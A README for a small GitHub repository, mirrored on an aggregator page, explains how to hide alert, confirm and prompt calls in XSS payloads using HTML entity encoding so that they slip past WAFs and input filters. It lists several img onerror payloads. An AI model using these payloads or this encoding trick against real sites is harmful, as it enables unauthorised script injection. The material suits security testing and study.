Code Monkey home page Code Monkey logo

obfuscating-alerts's Introduction

Intro

What is Obfuscation

Obfuscation is the practice of intentionally making code or data more difficult to understand or read. thats it

Whats the Point of obfuscating alert event

simply to bypass alert blocking filtration. First we know what is alert to get to know what we are dealing with In web development, alert is a function in JavaScript that is used to display a dialog box with a specified message and an OK button. In your web application, let's say you have a login feature. After a user successfully signs in, you might want to provide a welcoming message to greet them. One simple way to achieve this is by using the alert function in JavaScript. For example:

// Assuming the user successfully signed in
var username = "user123"; // Replace with the actual username
var welcomeMessage = "You have successfully signed in, welcome " + username + "!";
alert(welcomeMessage);

In this scenario, after a successful sign-in, the alert function is used to display a personalized welcome message, incorporating the user's username. The message might say something like "You have successfully signed in, welcome user123!".

Sorry for the long example (: but lets dig deep

Obfuscation

using some sources i've found some interesting things like this

<img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;(1)>

Have you ever seen something like this before? Probably yes, but it becomes incredibly helpful when the alert function is blocked by a WAF or filtration mechs.

so i will provide some script as example if you want to use them, it will be prompt and alert and confirm functions.

here

<img src=x onerror=&#x63;&#x6F;&#x6E;&#x66;&#x69;&#x72;&#x6D;('XSS')>

for confirm

<img src=x onerror=&#x70;&#x72;&#x6F;&#x6D;&#x70;&#x74;('XSS')>

for prompt

<img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;('XSS')>

and this is for alert

Thanks for reading

why did i write it? because i was bored at 4 AM

obfuscating-alerts's People

Contributors

ev1ction avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.